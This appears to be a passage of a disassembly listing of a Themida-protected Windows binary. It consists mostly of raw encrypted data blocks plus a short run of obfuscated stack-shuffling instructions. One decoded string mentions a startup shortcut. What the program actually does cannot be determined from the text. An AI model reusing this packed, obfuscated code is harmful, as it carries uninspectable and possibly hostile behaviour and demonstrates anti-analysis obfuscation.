		dd 0B8660000h, 0FA813384h, 0FFFFA480h, 25850Fh,	0F530000h
		dd 48Dh, 0F8BF6600h, 20E95E3Eh,	0B2000000h, 55CCFA82h
		dd 2EBF1617h, 0B3012BEDh, 0A7876F5Eh, 0E9354EC3h, 0FFFFFF6Ah
		dd 5D5C7659h, 0E9FE446Ah, 2Bh, 0A1FD25Eh, 9 dup(0)
		dd 0E9000000h, 4ADh, 2741FBE3h,	9CB66E55h, 132DE5CAh, 86A05841h
		dd 0FE18D2B4h, 290B00A9h, 9F83556Fh, 16F9CBE5h,	8C72445Eh
		dd 0EDD8B8D2h, 0D550E7CAh, 461D8F21h, 0C9CF876Ch, 8B452BA7h
		dd 0ECA68886h, 601A00D2h, 0BD775D5Bh, 14D3BAB8h, 7472772Fh
		dd 0D8CFD48Eh, 0A7D822Dh, 482E78D5h, 0BFA2748Eh, 2F16F007h
		dd 8D747277h, 2ED9D0D5h, 11F4C628h, 72565459h, 90BDB3B8h
		dd 4E06E933h, 0C27C6234h, 0AE2E5ABDh, 41EC98E0h, 21DBC173h
		dd 8D6D81Bh, 1D4E29BAh,	723C6AC0h, 7C575434h, 64000000h
		dd 0E5EAA48Ah, 474C04E7h, 7D9FA550h, 52389AC6h,	0EA22DF62h
		dd 0A2E7E8E6h, 595F3BE4h, 0BABF795Fh, 0BA753C73h, 5AB7E829h
		dd 36EED1ABh, 2E343A31h, 5434C6F0h, 0C57D6640h,	27DFC2C0h
		dd 7A802B22h, 1F6h, 442B4000h, 4A24878Ch, 0ADA7AD65h, 0B090EC6h
		dd 14536A22h, 0BAA0C0F1h, 5D63B629h, 0B689D10h,	0A5C9DAC1h
		dd 0A172D562h, 4E9C5155h, 0AFB0ECAEh, 3218EA04h, 2B645E78h
		dd 8C8A8F49h, 80E8EDA5h, 0AE90DA37h, 0C9A3DAF4h, 2A242AE2h
		dd 87858A44h, 89E5EAA2h, 5975CB28h, 725434E8h, 7Eh, 8F492BBCh
		dd 0EFA78C8Ah, 0ED4277EAh, 13F8B99Bh, 5F96B05Bh, 16D00533h
		dd 0BAA0BEF3h, 6165B829h, 0DBE11DE6h, 5B3EFFE1h, 90F3F8A3h
		dd 128A5C64h, 6D7327E0h, 0CDD28A73h, 2C31EBCFh,	8C91492Eh
		dd 3B86DB24h, 0BE75CA2Bh, 2E45FDE4h, 0B9A8A60Bh, 777DD029h
		dd 34102571h, 3E6E54h, 2BB80000h, 8C8A8F49h, 0BAECF1A9h
		dd 1FF9A805h, 807A8038h, 0F3CDE49Eh, 4F4D520Ah,	0FD03AE66h
		dd 442BA19Bh, 4A24878Ch, 0B2A9AE68h, 0A14569ACh, 0B0E129BAh
		dd 0EAC1FD53h, 1EA5434h, 34000000h, 5109ECC6h, 0B46C514Bh
		dd 11CBB1AFh, 94E9160Ch, 8BA55D42h, 5B72B15Fh, 0DBE19B81h
		dd 0A011597Ch, 0ED472E5Ah, 50474C04h, 5500BA9Eh, 0B26C5250h
		dd 0CDE0C698h, 8B6E6662h, 3D50CFD3h, 50979C47h,	21DA9C5Fh
		dd 0AA8F6908h, 0F0F6EDF2h, 0EED4267Bh, 62481A34h, 0BFA5A3A8h
		dd 4F980005h, 9CC2A8F2h, 1E23DBC2h, 9B852C27h, 2F1621DAh
		dd 0A47B7277h, 0A5AA644Ah, 3E5803AEh, 0D4EF2260h, 0B6987253h
		dd 0FA00F7FCh, 10176h, 0ECC6C000h, 0F4484E08h, 0D5F80F2Ch
		dd 2E5A8701h, 0BC1F2477h, 7B575A7Dh, 614421DAh,	0D6ADA4A9h
		dd 9D837D83h, 11F7C9E3h, 6E545257h, 630EC6ADh, 50ADF65Eh
		dd 0E8A675A1h, 0AF3F38A0h, 0FC9AFA9h, 95EB17F5h, 450453D4h
		dd 4E000000h, 0D8EF4ED1h, 455E1CB5h, 384FA256h,	6A87540Ch
		dd 0E5EB84A8h, 0B6605198h, 543BA9BAh, 0B799979Ch, 11C6F8FDh
		dd 0D09171BCh, 0E540CF73h, 7326ABCEh, 3D90D645h, 6317FA26h
		dd 175DAC49h, 73ADAF11h, 43000000h, 0D9F04FD1h,	5AA4E4B6h
		dd 70EE1A2Eh, 0B3F74A12h, 6ABDDCE2h, 5B816765h,	0D9D57938h
		dd 7B20521h, 7B351BEDh,	0D59D2F76h, 4F0421D9h, 8C2A8F2h
		dd 0E15EC2EEh, 268EA7CAh, 95E8267Fh, 0C265527Eh, 0F2F4AD07h
		dd 0A0A55D40h, 5856A3A9h, 0BDB3B872h, 6D4467A6h, 929B564h
		dd 0E63BB0B6h, 4259D63Ah, 5AB4161Fh, 61D702Eh, 591627DAh
		dd 393FE7B4h, 4FD1DDD7h, 0C09AD9F0h, 231A1FD7h,	0F15BDA1Dh
		dd 1DB2E5Fh, 0BA725918h, 0D130A0Fh, 98969BEEh, 0CDEF8B2h
		dd 0C9836526h, 81B674C4h, 3D92EA78h, 9BE2E792h,	1C5A9B26h
		dd 3136EED5h, 0A68F4E33h, 47F2E9EEh, 0F8551642h, 4598EB5h
		dd 0F812CCB2h, 81864026h, 0F9DB9A83h, 98433A3Fh, 0F6AE9593h
		dd 550FF3F1h, 0D02D5A50h, 3EE9A186h, 0C00A6794h, 340620DAh
		dd 618F944Eh, 8, 40FAE0BAh, 6624183Ah, 8489432Bh, 0E1E6A086h
		dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
		dd 2025DDC2h, 7E833B22h, 6260686Dh, 2C890000h, 0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 2414895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 7273678Ch
		sub	eax, 5D4F513Eh
		or	eax, 194304CEh
		inc	eax
		sub	eax, 1
		add	eax, 0EA7E39EAh
		mov	edx, eax
		pop	eax
		push	4CCDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dd 4C1C5F9Eh, 0B010A805h, 0E4F51CB6h, 54C5B8B1h, 0C50307E5h
		dd 2F6EE0FFh, 0BC87592h, 0AE3F1F10h, 0C4524B7Bh, 17F823A5h
		dd 5247458h, 2500572Fh,	7F462898h, 0BCF72C1Ch, 853B73F0h
		dd 0B0BA0DB6h, 341370CFh, 1D8F5206h, 30B635F6h,	7AE106C9h
		dd 8D8D4F69h, 7E556B5h,	8D89F18Bh, 7E01815h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8EC35747h, 0E428FB8Fh
		dd 0BE9h, 0BBBB2700h, 0F7C5CBEFh, 255CDEF0h, 204985C7h
		dd 650407E0h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0E8CCBFC3h, 4BAEB866h, 22C585C7h
		dd 7E0h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1C0424h, 51410000h, 5132FAC3h, 4839585Bh, 8D89F7F1h
		dd 7E00839h, 7B9B5FFh, 6A07E0h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0BAA1B2C3h, 9CE0B491h
		dd 13E94C2Eh, 15000000h, 9C04E968h, 8EBD55D2h, 0F08318A6h
		dd 0EED8B1AAh, 95FFA87Eh, 7E02091h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0E1C35646h,	6AF59Eh, 18A995FFh
		dd 0C08B07E0h, 0B1590BEBh, 0FBBE7A2Dh, 3BEC2CA9h, 158D8D59h
		dd 107E557h, 0E03165BDh, 158D8907h, 8B07E018h, 0E010519Dh
		dd 4985C707h, 1407E020h, 0BB000069h, 25CA1E42h,	22C585C7h
		dd 7E0h, 95010000h, 7E02AA1h, 2A5DB5FFh, 0D28107E0h, 4ED89274h
		dd 209195FFh, 6A07E0h, 18A995FFh, 0C08B07E0h, 0C54D2AEBh
		dd 357C31D9h, 799C010Ah, 0C0999D9Dh, 8BF7161Fh,	91FE2BC4h
		dd 423CC1B0h, 459CCD2Dh, 43A03940h, 7D0C6DA0h, 65BCD9C6h
		dd 4BE3D20h, 67313220h,	0AA54D591h, 8AE9BE6Eh, 0E139FF91h
		dd 0D6BA5405h, 853E36A9h, 13130D4h, 0DBB0CACAh,	518FFA76h
		dd 10248F93h, 0E3135E8h, 1310380h, 818E5402h, 307DB3Bh
		dd 15B3280h, 132DA16h, 5F113220h, 75B86CD3h, 45B0362Ch
		dd 1293620h, 57773202h,	0F89286C2h, 1D8226BBh, 23FCA7CBh
		dd 53A135C0h, 13123F8h,	0BFE70C08h, 85F574BBh, 6151C339h
		dd 1F52F8F8h, 5361A5E0h, 596B034Fh, 8A61687Bh, 0B4BAA2EBh
		dd 6D13AA5h, 257D330Bh,	8884BBFCh, 5936D211h, 3A68C401h
		dd 0C1B2570Fh, 5631580Ch, 13131F8h, 0C26E1208h,	254DBB5Bh
		dd 2575B306h, 1312B05h,	0C2667580h, 0DAF6A6B2h,	8E3E3E37h
		dd 1313218h, 1B33D68h, 60313204h, 15B3A89h, 132DA56h, 5E113280h
		dd 7DB86D83h, 45B03604h, 1293634h, 56763208h, 6C6D94C7h
		dd 158A3D12h, 2686667h,	0E101FF1Dh, 49BA5447h, 0F4B403DCh
		dd 6736D214h, 0FE070B89h, 21B60Bh, 8C183202h, 6D13A8Ch
		dd 2838F303h, 0E11C53DDh, 0E808B227h, 77B71Fh, 15B3208h
		dd 132DA52h, 5F113202h,	75B86CC2h, 45B036A4h, 1283664h
		dd 57773220h, 88DABAD3h, 32C642C0h, 0E13957B9h,	0B8ACB905h
		dd 8A36D223h, 15B33C1h,	132DA13h, 5A113220h, 5DB869D3h
		dd 45B0362Ch, 1243620h,	52723202h, 8A9164C2h, 0E12A3B1Dh
		dd 8841947h, 236D200h, 533158D8h, 13131E0h, 0C26B1204h
		dd 2565BB58h, 2575B305h, 1312F84h, 0C2637040h, 0EA2DBECCh
		dd 9AC7621Dh, 0DFBAB6C4h, 13121ECh, 9F950702h, 671D0930h
		dd 0D0C17B7h, 5490556Dh, 4CE1132Ah, 5EE78D1Fh, 6B34F38Bh
		dd 2D96404h, 21313202h,	886FF15Fh, 803516F4h, 17351604h
		dd 47313220h, 2D6CF146h, 70A43948h, 8A36D200h, 0E11E47B7h
		dd 9108B306h, 0EBA71CBh, 1315DC5h, 52315820h, 13131F8h
		dd 0C26A1208h, 256DBB5Fh, 2575B306h, 1312B05h, 0C2627180h
		dd 31E908Dh, 8CBCB2A7h,	6D17CF8h, 0E8B05468h, 0E2B06F7Ah
		dd 6390274Ah, 1328A60h,	15D83280h, 71313240h, 2D400394h
		dd 0F1A732C4h, 0F3AE972Fh, 3E5F6B5Eh, 0FECD6B7Ah, 0E9E980E0h
		dd 1313286h, 67040207h,	9D8CECEh, 0B8313210h, 5C11077Ah
		dd 5B453842h, 5B43D63h,	50313201h, 326E53E0h, 0E12CB3DDh
		dd 458CBF27h, 8C36D747h, 0E468D785h, 82458A03h,	84023390h
		dd 6D11F28h, 0E8F0FDABh, 4BE3D20h, 67313220h, 0AA54D591h
		dd 8AE9BE6Eh, 0E139FF91h, 0D6BA5405h, 5E983A9h,	0C08BA4F3h
		dd 18B9BD89h, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0DA1239C3h, 2DDAD28h, 9509605Dh
		dd 7E00741h, 0C38BF88Bh, 5B118D8Dh, 0BF0F07E5h,	158D89DEh
		dd 6A07E018h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0D98AC350h, 9DD7ECE8h,	0C749445Bh
		dd 0E0204985h, 666807h,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 81AE0AC0h, 0F6BF0F6Ah
		dd 22C585C7h, 7E0h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 2C9774C3h, 13F33D42h
		dd 9858B60h, 0F07E020h,	0FF61C3B7h, 0E004A9B5h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FD39598h, 882h, 0B58B5300h,	7E005F1h, 9195FF5Eh, 8007E020h
		dd 6A46F3h, 18A995FFh, 0C08B07E0h, 0DEF5EEBh, 0C0F29D0Ch
		dd 0ECF7E1BEh, 6D617654h, 3E390603h, 9B90F069h,	0E7EAE996h
		dd 0AD6CF055h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh
		dd 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh,	319026A4h
		dd 91B38295h, 3B1E2C13h, 5BF4D1F3h, 0B79F10DDh,	5F424665h
		dd 50476110h, 929D6CC0h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h
		dd 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h,	78216AEFh
		dd 0B44E6032h, 67A5E4FFh, 780F1EF8h, 70A3BEA1h,	6721D02Ch
		dd 0A1A3BA79h, 1B21D3FAh, 7809C6D7h, 1D293332h,	98263383h
		dd 0C3A2B6C0h, 15763443h, 7D7D45D6h, 0DD963AEh,	9FC61DEDh
		dd 98266483h, 15235935h, 7D7DB51Fh, 1DAB634Ah, 9FC368D0h
		dd 15B3CC03h, 9321D3B2h, 0A1A23C14h, 1526336Ah,	7D7DB5B0h
		dd 0AACE639Dh, 0D826334Dh, 14A3BEF6h, 0C821D608h, 0C3A0B624h
		dd 67763431h, 783EB2FFh, 94E2B032h, 0C3A0B617h,	157634A8h
		dd 7D7D4523h, 0DD96354h, 9FC61D90h, 9826513Dh, 74AD666Ah
		dd 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h
		dd 67D9C62Ch, 13EF002Bh, 0B2CF3B17h
dword_5A2400	dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h,	982C8800h
					; DATA XREF: Themida_:0054CFDCo
		dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h
		dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh
		dd 152637A8h, 7D7D4788h, 31ABBE9Dh, 2021D611h, 93h, 71E7FC78h
		dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh,	0E55CA9B5h
		dd 0C88D8D07h, 2B07E55Ch, 5E983CFh, 8D8DC88Bh, 7E55D70h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0ADC35343h
		dd 919D8BC6h, 8907E01Ch, 0E018158Dh, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D89EE65h
		dd 7E01D51h, 204985C7h,	5B8007E0h, 11E80000h, 0B7000000h
		dd 0FAC59408h, 78A726D5h, 720987F1h, 0D3DDC4E5h, 0C7B88FBEh
		dd 85C75A48h, 7E022C5h,	0
		dd 25E1958Bh, 0B5FF07E0h, 7E01261h, 0BEF68166h,	9195FF63h
		dd 2307E020h, 0E01AEDBDh, 0FF006A07h, 0E018A995h, 0EBC08B07h
		dd 8AC2A538h, 4655B5E7h, 0E33EF3B2h, 5412BB20h,	4E656FCCh
		dd 9853EE07h, 0C2E8FFD8h, 0CF723B6Fh, 0C4576B54h, 19E4DD47h
		dd 837732Fh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0B1AB98FEh
		dd 0CB4660CCh, 0B202BF54h, 0BA709C74h, 0BCA6F34h, 0B64ECE47h
		dd 0C2DE2F7h, 5BD48532h, 0B30D7361h, 0BCD7831h,	2B38BBBBh
		dd 964018D2h, 0C2F3350h, 539614CDh, 0A085EB1h, 7FCDF6D2h
		dd 0B39EA825h, 0BCD7831h, 2B38BBBBh, 964018D2h,	0C2F3663h
		dd 539614CDh, 0E39EE358h, 0BCDF131h, 500EA312h,	0FE920BBh
		dd 0FE97AB3h, 0BCD1F2Fh, 0C70EDC71h, 4D8031C8h,	6DC62BC8h
		dd 0FE5078A6h, 4CA1824h, 0CB46878Dh, 0AE0B3BBh,	87AB18D2h
		dd 0F33E0FEAh, 8FC2C39Ah, 0BCDE098h, 0E39AF158h, 0BCDF831h
		dd 540E2312h, 0FE942BBh, 0FE95BB3h, 0BCD8F27h, 0B0E9075h
		dd 1E7060DFh, 0BCA1123h, 0BC27C3Dh, 0B1AB7C32h,	7C2461CBh
		dd 0CD1F31h, 0EBCAFA8Fh, 2CCD7935h, 8AABE132h, 86F710D9h
		dd 0E857C7B7h, 58CD1635h, 0BCD3DDAh, 0C8963F32h, 2F910669h
		dd 2F894636h, 0BCDF636h, 0C89EB232h, 0F346DBD6h, 41D83C7h
		dd 0BCD38B3h, 0A6589432h, 8ECA6F2Fh, 0F449C8F2h, 0E3CDE332h
		dd 0BCDF126h, 85B76576h, 927354D7h, 70BBA011h, 0B4085C41h
		dd 0AFA353F5h, 0A948C85h, 0EBF982A7h, 5CF57035h, 4367954h
		dd 0BCD31B7h, 5BCD5432h, 0BCD1CDAh, 0C895AF32h,	2F894E6Ah
		dd 2F896236h, 0BCDE436h, 0C89DB832h, 8AABDEACh,	9CF3A4Ah
		dd 92A9B3Dh, 0BA78F32h,	0BCE2F64h, 55EDE332h, 7F44AFF1h
		dd 4F4CFC16h, 0BDB7816h, 5D8B3E32h, 28B4B5F1h, 1CE412BBh
		dd 8AABC0D2h, 4AD7F0Ah,	0BCD88B7h, 5DCD9232h, 0BCD7FDAh
		dd 0C8931E32h, 2FB9966Ch, 2F890E36h, 0BCDDD36h,	0C89BA532h
		dd 0E1A7121Ah, 8B5F9CC8h, 734DC7F3h, 8EC2D630h,	0BCD1F78h
		dd 1AA63554h, 74074654h, 734C853Eh, 466F134h, 0BCDCDB7h
		dd 6902FD32h, 0E2C87BA8h, 0BCD1D5Bh, 0E39B8F58h, 0BCDC731h
		dd 550EBD12h, 0FE985BBh, 0FE9BCB3h, 0BCD7C28h, 0D50E6874h
		dd 1939BD02h, 0DC4676F5h, 0E584ABBh, 0B73E4D2h,	88BF033h
		dd 0EBE021A7h, 3448F135h, 80CADDA8h, 0EBC60EA7h, 8A1D7035h
		dd 893CB9C0h, 40D6632h,	0BCFF4B6h, 59CD9232h, 0BCD7FDAh
		dd 0C8971E32h, 2F999668h, 2F890E36h, 0BCDD336h,	0C89FA132h
		dd 6DF57016h, 4CFFA0Fh,	0BCD21B7h, 5BCD5432h, 0BCD1CDAh
		dd 0C895AF32h, 2F894E6Ah, 2F896236h, 0BCDE936h,	0C89DB832h
		dd 80FAE0A5h, 0AA780FB6h, 8ACAFF3Ah, 36AB894Ah,	8FC2BD6Dh
		dd 0BCDE28Fh, 0E39CF158h, 0BCDF831h, 520E2512h,	0FE972BBh
		dd 0FE95BB3h, 0BCD8F2Fh, 0D70E9673h, 0F8C7ECFCh, 0CDE4E5C4h
		dd 845C43FFh, 8AAB4F31h, 4ADA20Ah, 0BCD97B7h, 5ACDE532h
		dd 0BCDC4DAh, 0C894C332h, 2F81786Bh, 2F897936h,	0BCD6036h
		dd 0C89C7F32h, 90BC1939h, 8E8542B3h, 9B547BFh, 5148ECDAh
		dd 0BECDF132h, 734C9E5Fh, 40D7C34h, 0BCD72B7h, 58CD7532h
		dd 0BCD8CDAh, 0C896E732h, 2F916A69h, 2F897036h,	0BCDE236h
		dd 0C89E3F32h, 2BDBA071h, 0E2A75646h, 0BCD8E17h, 0E39DC758h
		dd 0BCDE331h, 530EA912h, 0FE9BCBBh, 0FE938B3h, 0BCD3E26h
		dd 0D30E4F72h, 0BCE073Dh, 0BCC2C732h, 0ACD5DC8h, 0BA78F33h
		dd 0BCE1062h, 53ED7C32h, 4F4466F1h, 4F4C1B16h, 0BD98B16h
		dd 5B8DC732h, 8E4072F1h, 0C2E6B0Dh, 0DB3212B8h,	0BCBF53Dh
		dd 9E443E32h, 0C2D1947h, 8FC24FB7h, 0BCDC79Ch, 26086E19h
		dd 9E44F6D2h, 0C2DD94Bh, 42544B2h, 0BCD0AB7h, 0F43B9F32h
		dd 254832BBh, 734DC0D2h, 8EC29037h, 0BCDF113h, 0BCDEADBh
		dd 3504CD32h, 0DC92E14Bh, 7DAB52A4h, 0A9B44421h, 8B935E11h
		dd 49EE44Ah, 0BCD89B6h,	334C9E32h, 8EC279BDh, 0BCD3E68h
		dd 10CCA054h, 63CBF7B2h, 0B81423Dh, 4ADE332h, 6A382085h
		dd 0B57954h, 8EC259CDh,	0BCD3E08h, 0BCD12DBh, 7D35EB32h
		dd 0C897E1Fh, 7BD8B546h, 3D241248h, 61CDF832h, 8252D32h
		dd 2BCD3E32h, 8294DC6Bh, 8AC9AB7Eh, 1EC9E376h, 4ACDE332h
		dd 0D7DE3263h, 2B7C75BBh, 0B757BD2h, 22CD3E32h,	0EBFD42B7h
		dd 0BEF6635h, 0C44DC732h, 0BCC5B97h, 0BEADF132h, 0BDC1105h
		dd 249A7C32h, 33533393h, 7173F465h, 0A5162F13h,	6A3C0F72h
		dd 599D83A2h, 0BCDF4DAh, 0D279A032h, 4972750h, 0B4C3103h
		dd 51CD1F32h, 6B9DEE6Ah, 0C917F54h, 0D1468552h,	6AACAF62h
		dd 0D4EF7A2h, 8ACD7C32h, 0A09B9FF3h, 0A670925Ah, 86CA6A6Fh
		dd 0EEAFB2BFh, 5EEE5B35h, 8ECE8654h, 0C2DD593h,	0E20CB319h
		dd 0ACD5D30h, 0BA78F33h, 0BCE1062h, 53ED7C32h, 4F4466F1h
		dd 4F4C1B16h, 5E98316h,	6A58A4F3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DE65C351h
		dd 28D78166h, 459D0BBFh, 0BB07E020h, 14BBD20Ch,	68A0FF8h
		dd 1000000h, 0E01E5995h, 0FC00B07h, 7884h, 38F0F00h, 80000000h
		dd 0B58DD3F7h, 7E04EE8h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0BDC35040h, 0B40D0783h, 8166AE7Ch, 0B8149FD2h
		dd 3, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 19h
		dd 0E9C35545h, 3883A079h, 85958B42h, 0FF07E028h, 0FE9E6h
		dd 0AE3A0000h, 14CEB371h, 8A11BA21h, 0A1530D14h, 6A4009h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B29E0C3h, 83B0B2C0h, 0E006B1BDh, 9750007h, 1C5BD83h
		dd 740007E0h, 8B535019h, 403B8C0h, 85890000h, 7E02399h
		dd 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
		dd 403B853h, 85890000h,	7E02399h, 0B96A9D8Dh, 0D3FF07E2h
		dd 6A585Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 835EAC3h,	580D03E2h, 0C995892Bh, 8B07E01Ah
		dd 0C9B589C0h, 6107E02Ah, 12E8h, 9BADA600h, 7BA9D0DDh
		dd 2A467D8Ch, 4E014CF8h, 17EE82Bh, 0E0051D8Dh, 0EB8A5A07h
		dd 6A46C281h, 85090000h, 7E03185h, 858BDB2Bh, 7E0141Dh
		dd 661334FFh, 5F5C09BEh, 0D806EF81h, 0B58963ECh, 7E01F85h
		dd 8E05EF81h, 0B58B690Dh, 7E02BA5h, 0A28AF781h,	89605E61h
		dd 0E0162D95h, 89858B07h, 6107E005h, 8A0F6057h,	6, 870Fh
		dd 830F0000h, 6, 0FF1BD8Bh, 8F6107E0h, 8D8B1A04h, 7E011B5h
		dd 10CDB58Bh, 0EB8307E0h, 81E58A04h, 0FF9654FBh, 91850FFFh
		dd 0E8FFFFFFh, 0Dh, 0F69DE8A0h,	0F988298Eh, 0C6273B62h
		dd 958957A3h, 7E0226Dh,	0B503585Eh, 7E02D9Dh, 665FC081h
		dd 12E90000h, 7E000000h, 0A3BC6FCDh, 2AAAFB01h,	0C0341AF4h
		dd 351328E0h, 6847h, 95890000h,	7E00FD1h, 459D8B5Ah, 0FF07E00Fh
		dd 12E90234h, 82000000h, 0B37F40DBh, 48BAEEFCh,	0AEB3D138h
		dd 7AAE3508h, 0B58B59B1h, 7E00475h, 0B236F181h,	8D897E76h
		dd 7E02C2Dh, 8F94F181h,	0B52B1DF7h, 7E0080Dh, 0CEBBF181h
		dd 8B6624F3h, 100C89DEh, 68C0Fh, 9D8B0000h, 7E02A71h, 6C86BF66h
		dd 3301EA83h, 0E02EDD9Dh, 4A4A4A07h, 58FA81F9h,	0FFFFF9Ah
		dd 0FFFF9285h
		dd 0E8DE8BFFh, 10h, 0E44ACE31h,	0D96755DCh, 9743A5E3h
		dd 4B4F6DF5h, 2B19B529h, 8B5A07E0h, 0F8C281F0h,	80000064h
		dd 4CB95EDFh, 81364E67h, 0B1B1C8C1h, 1D9D89C9h,	8B07E024h
		dd 11E83Ah, 0D5600000h,	0B0BA8614h, 87506430h, 40F87EBEh
		dd 0FB5BDB2h, 48Ah, 38BB6600h, 0EF81584Ch, 59E01D48h, 12E9h
		dd 25F00400h, 53FF100h,	135C2CB9h, 7AF74F49h, 81244E30h
		dd 477362C7h, 0C8816678h, 0C78116D3h, 6895ABB4h, 0BD893A89h
		dd 7E02315h, 80AFEA81h,	0F78B13B2h, 80ABC281h, 0B86613B2h
		dd 0E981AA0Fh, 1, 0FF89850Fh, 0DA8AFFFFh, 92E9h, 78700E00h
		dd 6F68535Dh, 75637472h, 6F742074h, 61747320h, 70757472h
		dd 1Eh dup(0)
		dd 0E9000000h, 0EACh, 0E5684B68h, 0E1A9E907h, 3368FFFBh
		dd 0E907E569h, 0FFFBE19Fh, 0E56ACB68h, 0E195E907h, 0F68FFFBh
		dd 0E907E56Bh, 0FFFBE18Bh, 0E56BD868h, 0E181E907h, 7968FFFBh
		dd 0E907E56Ch, 0FFFBE177h, 0E5701068h, 0E16DE907h, 0BB68FFFBh
		dd 0E907E572h, 0FFFBE163h, 0E573AE68h, 0E159E907h, 0A727FFFBh
		dd 2BB02C03h, 0BD3EBA91h, 42C8441Bh, 0D057D3AAh, 895A633Ah
		dd 0D1A83EC5h, 5D34D255h, 0E8BF5FE1h, 754CE86Ch, 0CDB379D0h
		dd 0E16327C8h, 0AD31D35Ch, 1B69FF86h, 9DDB181Ah, 1D3CD813h
		dd 630F9AE8h, 53DD78DDh, 0DE85D959h, 0F87CACA9h, 0D8E9855Ch
		dd 4F884E0Dh, 84632281h, 6DBB51D8h, 8C28AC6Ch, 0B6403D3Eh
		dd 6F59FF4Dh, 0DA632274h, 0F7E495E0h, 25C43703h, 25h, 35B0112Ch
		dd 648BB076h, 3CA56322h, 645E48EEh, 36C96322h, 6A67098Ah
		dd 8BD081D4h, 11C43717h, 105h, 11AD3118h, 1AB037C3h, 629AF5Bh
		dd 9596E484h, 1AA56360h, 14FE96Eh, 4FD30300h, 55D965B3h
		dd 0DA0FA92Eh, 68526D03h, 8D395B42h, 3F6F6C0Ah,	0CC481FBBh
		dd 42EDAC48h, 4267967Ch, 4441AA5Bh, 74E7DA86h, 4266C8AEh
		dd 467BE45Bh, 87CCC187h, 6F1B6322h, 0C54F4CEEh,	60264ED1h
		dd 6322877Ah, 38F82D96h, 0C6C715B7h, 0A026D291h, 2B60F67Dh
		dd 764BE72Eh, 62EAB06Fh, 596B0543h, 908D29ADh, 33DE9D06h
		dd 44FB876Dh, 2BAFA35Bh, 0B40418Fh, 0AC33DF0Eh,	1AC5716h
		dd 44FB553Bh, 2600695Bh, 5B44FB40h, 0AFF6F35Ch,	0C16AC33h
		dd 72A31A6Eh, 37E5835Dh, 7C00000Ch, 58158FCh, 930FE680h
		dd 1D997012h, 0AC28FF97h, 0AFB88F25h, 0FD931A34h, 8927AA26h
		dd 14B436B2h, 0A13DC13Dh, 8CE25CAh, 6327CB22h, 3230B93Eh
		dd 7A446E44h, 0B0C5AF6h, 0BED77E09h, 0FB0F3897h, 0CECB00AAh
		dd 0AA81179Eh, 370EAA2Eh, 35B011BAh, 648BB076h,	3CA56322h
		dd 31B763EEh, 4D4A4B99h, 22641903h, 72088F63h, 0EB179824h
		dd 22643F25h, 0BDF25B63h, 0C260E36Fh, 999CE70Dh, 98F3BCEh
		dd 97DE7471h, 3717F1E6h, 0A027C4h, 312E0000h, 37C311ADh
		dd 26CC1AB0h, 5B42680Bh, 885FFB7Fh, 9EEC880Ch, 5716CFF2h
		dd 22889C91h, 0B087F063h, 7938AD14h, 5401AB3h, 9743366Bh
		dd 0BAA07A10h, 315B4500h, 4500856Bh, 1630995Bh,	0DB978ADh
		dd 0BEEDEA8Ch, 1EF58B12h, 7B851BA2h, 72A31FA5h,	4F1AB892h
		dd 6400000Bh, 0ED6940E4h, 7BF7CE68h, 58158FAh, 9410E77Fh
		dd 97A0770Dh, 0E57B024Ch, 710F920Eh, 0FC9C1E9Ah, 8925A925h
		dd 0F0B60DB2h, 6327CC0Ah, 3118A126h, 0A95514AAh, 42898628h
		dd 0CFA642C6h, 0D3DB6654h, 0D37CA213h, 0AD31A5D6h, 0B337C311h
		dd 2BAC5817h, 3D3A3B89h, 7E675AF6h, 9304F9BFh, 84786322h
